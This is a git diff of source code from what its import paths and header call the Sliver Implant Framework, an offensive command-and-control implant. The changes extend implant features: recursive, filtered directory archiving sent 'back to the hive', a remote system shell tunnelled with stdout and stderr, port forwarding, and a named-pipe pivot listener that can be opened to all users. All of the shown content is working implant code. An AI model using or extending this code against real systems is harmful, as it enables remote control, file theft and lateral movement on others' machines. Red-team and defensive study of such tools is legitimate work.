|
||||
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
|
||||
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
// Send a file back to the hive
|
||||
func downloadHandler(data []byte, resp RPCResponse) {
|
||||
var rawData []byte
|
||||
@@ -284,6 +399,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
*/
|
||||
var isDir bool
|
||||
|
||||
var download *sliverpb.Download
|
||||
|
||||
downloadReq := &sliverpb.DownloadReq{}
|
||||
err := proto.Unmarshal(data, downloadReq)
|
||||
if err != nil {
|
||||
@@ -294,48 +411,42 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
target, _ := filepath.Abs(downloadReq.Path)
|
||||
fi, err := os.Stat(target)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("stat failed on %s: %v", target, err)
|
||||
//{{end}}
|
||||
download := &sliverpb.Download{Path: target, Exists: false}
|
||||
download.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
data, err = proto.Marshal(download)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
var dirData bytes.Buffer
|
||||
err = compressDir(target, &dirData)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error creating the archive: %v", err)
|
||||
// {{end}}
|
||||
rawData = dirData.Bytes()
|
||||
isDir = true
|
||||
} else {
|
||||
rawData, err = ioutil.ReadFile(target)
|
||||
isDir = false
|
||||
|
||||
if pathIsDirectory(target) {
|
||||
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
|
||||
target += "/"
|
||||
}
|
||||
|
||||
var download *sliverpb.Download
|
||||
if err == nil {
|
||||
path, filter := determineDirPathFilter(target)
|
||||
|
||||
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
|
||||
|
||||
if err != nil {
|
||||
if isDir {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error creating the archive: %v", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error while preparing download for %s: %v", target, err)
|
||||
//{{end}}
|
||||
}
|
||||
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
|
||||
download.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%v", err),
|
||||
}
|
||||
} else {
|
||||
gzipData := bytes.NewBuffer([]byte{})
|
||||
gzipWrite(gzipData, rawData)
|
||||
download = &sliverpb.Download{
|
||||
Path: target,
|
||||
Data: gzipData.Bytes(),
|
||||
Encoder: "gzip",
|
||||
Exists: true,
|
||||
IsDir: isDir,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
} else {
|
||||
download = &sliverpb.Download{Path: target, Exists: false}
|
||||
download.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%v", err),
|
||||
Path: target,
|
||||
Data: gzipData.Bytes(),
|
||||
Encoder: "gzip",
|
||||
Exists: true,
|
||||
IsDir: isDir,
|
||||
ReadFiles: int32(readFiles),
|
||||
UnreadableFiles: int32(unreadableFiles),
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -660,50 +771,152 @@ func standarizeArchiveFileName(path string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func compressDir(path string, buf io.Writer) error {
|
||||
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
|
||||
zipWriter := gzip.NewWriter(buf)
|
||||
tarWriter := tar.NewWriter(zipWriter)
|
||||
readFiles := 0
|
||||
unreadableFiles := 0
|
||||
var matchingFiles []string
|
||||
|
||||
/*
|
||||
There is an edge case where if you are trying to download a junction on Windows,
|
||||
you will get access denied
|
||||
|
||||
To resolve this, we will resolve the junction or symlink before we do anything.
|
||||
Even though resolving the symlink first is not necessary on *nix, it does not hurt
|
||||
and will make it so that we do not have to detect if we are on Windows.
|
||||
*/
|
||||
pathInfo, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
path, err = filepath.EvalSymlinks(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
// The path we get back from EvalSymlinks does not have a trailing separator
|
||||
// Forward slash is fine even on Windows.
|
||||
path += "/"
|
||||
}
|
||||
|
||||
/*
|
||||
Build the list of files to include in the archive.
|
||||
|
||||
Walking the directory can take a long time and do a lot of unnecessary work
|
||||
if we do not need to recurse through subdirectories.
|
||||
|
||||
If we are not recursing, then read the directory without worrying about
|
||||
subdirectories.
|
||||
*/
|
||||
if !recurse {
|
||||
testPath := strings.ReplaceAll(path, "\\", "/")
|
||||
directory, err := os.Open(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
directoryFiles, err := directory.Readdirnames(0)
|
||||
directory.Close()
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
for _, fileName := range directoryFiles {
|
||||
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
|
||||
if filter != "" {
|
||||
match, err := filepath.Match(testPath+filter, standardFileName)
|
||||
if err == nil && match {
|
||||
matchingFiles = append(matchingFiles, standardFileName)
|
||||
}
|
||||
} else {
|
||||
matchingFiles = append(matchingFiles, standardFileName)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filepath.WalkDir(path, func(file string, d os.DirEntry, err error) error {
|
||||
filePath := strings.ReplaceAll(file, "\\", "/")
|
||||
if filter != "" {
|
||||
// Normalize paths
|
||||
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
|
||||
match, matchErr := filepath.Match(testPath+filter, filePath)
|
||||
if !match || matchErr != nil {
|
||||
// If there is an error, it is because the filter is bad, so it is not a match
|
||||
return nil
|
||||
}
|
||||
matchingFiles = append(matchingFiles, file)
|
||||
} else {
|
||||
matchingFiles = append(matchingFiles, file)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
for _, file := range matchingFiles {
|
||||
fi, err := os.Stat(file)
|
||||
if err != nil {
|
||||
// Cannot get info on the file, so skip it
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
|
||||
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
|
||||
fileName := standarizeArchiveFileName(file)
|
||||
|
||||
// If the file is a SymLink replace fileInfo and path with the symlink destination.
|
||||
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
file, err = filepath.EvalSymlinks(file)
|
||||
if err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
|
||||
fi, err = os.Lstat(file)
|
||||
if err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
header, err := tar.FileInfoHeader(fi, file)
|
||||
if err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
// Keep the symlink file path for the header name.
|
||||
header.Name = filepath.ToSlash(fileName)
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
return err
|
||||
}
|
||||
// Check that we can open the file before we try to write it to the archive
|
||||
if !fi.IsDir() {
|
||||
data, err := os.Open(file)
|
||||
if err != nil {
|
||||
return err
|
||||
// Skip this file and do not write it to the archive.
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
unreadableFiles += 1
|
||||
data.Close()
|
||||
continue
|
||||
}
|
||||
if _, err := io.Copy(tarWriter, data); err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
data.Close()
|
||||
continue
|
||||
}
|
||||
data.Close()
|
||||
readFiles += 1
|
||||
} else {
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
if err := tarWriter.Close(); err != nil {
|
||||
return err
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
if err := zipWriter.Close(); err != nil {
|
||||
return err
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
return nil
|
||||
return readFiles, unreadableFiles, nil
|
||||
}
|
||||
@@ -70,7 +70,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
}
|
||||
|
||||
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := createListener(req.BindAddress, connection.Send)
|
||||
listener, err := createListener(req.BindAddress, connection.Send, req.Options...)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
|
||||
@@ -22,8 +22,7 @@ func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Conn
|
||||
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
|
||||
// {{end}}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
tunnel.Reader.Close()
|
||||
tunnel.Writer.Close()
|
||||
tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here
|
||||
tunnelDataCache.DeleteTun(tunnel.ID)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -24,6 +25,12 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, portfwdResp)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -43,6 +50,12 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
log.Printf("[portfwd] Failed to dial remote address %s", err)
|
||||
// {{end}}
|
||||
cancelContext()
|
||||
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, portfwdResp)
|
||||
return
|
||||
}
|
||||
if conn, ok := dst.(*net.TCPConn); ok {
|
||||
@@ -101,7 +114,8 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
}
|
||||
n, err := io.Copy(tWriter, tunnel.Reader)
|
||||
// portfwd only uses one reader, hence the tunnel.Readers[0]
|
||||
n, err := io.Copy(tWriter, tunnel.Readers[0])
|
||||
_ = n // avoid not used compiler error if debug mode is disabled
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -22,6 +23,12 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, shellResp)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -31,6 +38,12 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to get system shell")
|
||||
// {{end}}
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, shellResp)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -39,6 +52,12 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to spawn! err: %v", err)
|
||||
// {{end}}
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, shellResp)
|
||||
return
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -48,8 +67,9 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
|
||||
tunnel := transports.NewTunnel(
|
||||
shellReq.TunnelID,
|
||||
systemShell.Stdout,
|
||||
systemShell.Stdin,
|
||||
systemShell.Stdout,
|
||||
systemShell.Stderr,
|
||||
)
|
||||
connection.AddTunnel(tunnel)
|
||||
|
||||
@@ -81,35 +101,35 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
}
|
||||
_, err := io.Copy(tWriter, tunnel.Reader)
|
||||
for _, rc := range tunnel.Readers {
|
||||
go func(outErr io.ReadCloser) {
|
||||
tWriter := tunnelWriter{
|
||||
conn: connection,
|
||||
tun: tunnel,
|
||||
}
|
||||
_, err := io.Copy(tWriter, outErr)
|
||||
|
||||
if err != nil {
|
||||
cleanup("io error", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
|
||||
if err != nil {
|
||||
cleanup("shell wait error", err)
|
||||
return
|
||||
}
|
||||
|
||||
if systemShell.Command.ProcessState != nil {
|
||||
if systemShell.Command.ProcessState.Exited() {
|
||||
cleanup("process terminated", nil)
|
||||
if err != nil {
|
||||
cleanup("io error", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if err == io.EOF {
|
||||
cleanup("EOF", err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
|
||||
if err != nil {
|
||||
cleanup("shell wait error", err)
|
||||
return
|
||||
}
|
||||
if systemShell.Command.ProcessState != nil {
|
||||
if systemShell.Command.ProcessState.Exited() {
|
||||
cleanup("process terminated", nil)
|
||||
return
|
||||
}
|
||||
}
|
||||
if err == io.EOF {
|
||||
cleanup("EOF", err)
|
||||
return
|
||||
}
|
||||
}(rc)
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
|
||||
|
||||
@@ -27,7 +27,7 @@ func (tw tunnelWriter) Write(data []byte) (int, error) {
|
||||
Data: data,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
|
||||
// {{end}}
|
||||
tw.tun.IncWriteSequence() // Increment write sequence
|
||||
tw.conn.Send <- &sliverpb.Envelope{
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func reportError(envelope *sliverpb.Envelope, connection *transports.Connection, data []byte) {
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Data: data,
|
||||
ID: envelope.ID,
|
||||
}
|
||||
}
|
||||
@@ -31,17 +31,25 @@ import (
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
const PipeAllowAllAccess = 0
|
||||
|
||||
var (
|
||||
namedpipePivotReadDeadline = 10 * time.Second
|
||||
namedpipePivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
|
||||
sd := ""
|
||||
if len(opts) > 0 {
|
||||
if opts[PipeAllowAllAccess] {
|
||||
sd = "D:(A;;0x1f019f;;;WD)" // open to all
|
||||
}
|
||||
}
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
SecurityDescriptor: sd,
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on named pipe %s", fullName)
|
||||
@@ -56,6 +64,7 @@ func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope)
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
Options: opts,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
|
||||
@@ -72,7 +72,7 @@ func generatePeerID() int64 {
|
||||
}
|
||||
|
||||
// CreateListener - Generic interface to a start listener function
|
||||
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
type CreateListener func(string, chan<- *pb.Envelope, ...bool) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
@@ -106,7 +106,7 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
|
||||
stoppedPivotListeners.Range(func(key, value interface{}) bool {
|
||||
stoppedListener := value.(*PivotListener)
|
||||
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
|
||||
listener, err := createListener(stoppedListener.BindAddress, send)
|
||||
listener, err := createListener(stoppedListener.BindAddress, send, stoppedListener.Options...)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] failed to restart listener: %s", err)
|
||||
@@ -208,6 +208,7 @@ type PivotListener struct {
|
||||
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
Options []bool
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
|
||||
@@ -36,7 +36,7 @@ var (
|
||||
)
|
||||
|
||||
// CreateTCPPivotListener - Start a TCP listener
|
||||
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting TCP pivot listener on %s", address)
|
||||
// {{end}}
|
||||
|
||||
@@ -77,6 +77,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stderr pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
@@ -84,6 +93,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Stderr: stderr,
|
||||
Cancel: cancel,
|
||||
}, err
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ type Shell struct {
|
||||
Command *exec.Cmd
|
||||
Stdout io.ReadCloser
|
||||
Stdin io.WriteCloser
|
||||
Stderr io.ReadCloser
|
||||
Cancel context.CancelFunc
|
||||
}
|
||||
|
||||
|
||||
@@ -72,11 +72,21 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stderr pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Stderr: stderr,
|
||||
Cancel: cancel,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -95,6 +95,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stderr pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
@@ -102,6 +111,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Stderr: stderr,
|
||||
Cancel: cancel,
|
||||
}, err
|
||||
}
|
||||
@@ -253,9 +253,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TRANSPORT MESSAGE: type (%d) - %s", envelope.Type, envelope.Data)
|
||||
// {{end}}
|
||||
err := mtls.WriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -9,7 +9,8 @@ import (
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
|
||||
Reader io.ReadCloser
|
||||
// Reader io.ReadCloser
|
||||
Readers []io.ReadCloser
|
||||
readSequence uint64
|
||||
|
||||
Writer io.WriteCloser
|
||||
@@ -18,12 +19,12 @@ type Tunnel struct {
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
|
||||
func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel {
|
||||
return &Tunnel{
|
||||
ID: id,
|
||||
Reader: reader,
|
||||
Writer: writer,
|
||||
mutex: &sync.RWMutex{},
|
||||
ID: id,
|
||||
Readers: readers,
|
||||
Writer: writer,
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -57,6 +58,8 @@ func (c *Tunnel) IncWriteSequence() {
|
||||
|
||||
// Close - close tunnel reader and writer
|
||||
func (c *Tunnel) Close() {
|
||||
c.Reader.Close()
|
||||
for _, rc := range c.Readers {
|
||||
rc.Close()
|
||||
}
|
||||
c.Writer.Close()
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.28.0
|
||||
// protoc v3.20.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.4
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.28.0
|
||||
// protoc v3.20.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.4
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.28.0
|
||||
// protoc v3.20.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.4
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
@@ -1,8 +1,4 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v3.20.1
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
|
||||
+898
-849
File diff suppressed because it is too large.
Load diff
@@ -170,6 +170,7 @@ message FileInfo {
|
||||
int64 Size = 3;
|
||||
int64 ModTime = 4;
|
||||
string Mode = 5;
|
||||
string Link = 6;
|
||||
}
|
||||
|
||||
message CdReq {
|
||||
@@ -231,6 +232,7 @@ message DownloadReq {
|
||||
string Path = 1;
|
||||
int64 Start = 2;
|
||||
int64 Stop = 3;
|
||||
bool Recurse = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -243,6 +245,8 @@ message Download {
|
||||
int64 Stop = 5;
|
||||
bytes Data = 6;
|
||||
bool IsDir = 7;
|
||||
int32 ReadFiles = 8;
|
||||
int32 UnreadableFiles = 10;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -761,6 +765,7 @@ enum PivotType {
|
||||
message PivotStartListenerReq {
|
||||
PivotType Type = 1;
|
||||
string BindAddress = 2;
|
||||
repeated bool Options = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
@@ -109,7 +109,7 @@ func (e *ECCKeyPair) PrivateBase64() string {
|
||||
return base64.RawStdEncoding.EncodeToString(e.Private[:])
|
||||
}
|
||||
|
||||
// RandomeECCKeyPair - Generate a random Curve 25519 key pair
|
||||
// RandomECCKeyPair - Generate a random Curve 25519 key pair
|
||||
func RandomECCKeyPair() (*ECCKeyPair, error) {
|
||||
public, private, err := box.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
|
||||
@@ -29,7 +29,6 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"text/template"
|
||||
@@ -194,11 +193,10 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
|
||||
}
|
||||
|
||||
name := ""
|
||||
if pbConfig.Name != "" {
|
||||
// Only allow user-provided alpha/numeric names
|
||||
if regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(pbConfig.Name) {
|
||||
name = pbConfig.Name
|
||||
}
|
||||
if err := util.AllowedName(pbConfig.Name); err != nil {
|
||||
buildLog.Warnf("%s\n", err)
|
||||
} else {
|
||||
name = pbConfig.Name
|
||||
}
|
||||
return name, cfg
|
||||
}
|
||||
@@ -896,7 +894,6 @@ const (
|
||||
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
|
||||
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
|
||||
// The current packages below aren't definitive and need to be tidied up.
|
||||
// GoPrivate = "github.com/bishopfox/*,github.com/Microsoft/*,github.com/burntsushi/*,github.com/kbinani/*,github.com/lxn/*,github.com/golang/*,github.com/shm/*,github.com/lesnuages/*"
|
||||
wgGoPrivate = "github.com/*,golang.org/*,golang.zx2c4.com/*,google.golang.org/*"
|
||||
allGoPrivate = "*"
|
||||
)
|
||||
|
||||
@@ -40,5 +40,5 @@ var (
|
||||
ErrDatabaseFailure = status.Error(codes.Internal, "Database operation failed")
|
||||
|
||||
// ErrInvalidName - Invalid name
|
||||
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics only")
|
||||
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics and _-. only")
|
||||
)
|
||||
@@ -20,13 +20,12 @@ package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const maxNameLength = 32
|
||||
@@ -56,7 +55,7 @@ func (rpc *Server) Rename(ctx context.Context, req *clientpb.RenameReq) (*common
|
||||
if len(req.Name) < 1 || maxNameLength < len(req.Name) {
|
||||
return resp, ErrInvalidName
|
||||
}
|
||||
if !regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(req.Name) {
|
||||
if err := util.AllowedName(req.Name); err != nil {
|
||||
return resp, ErrInvalidName
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
package util
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
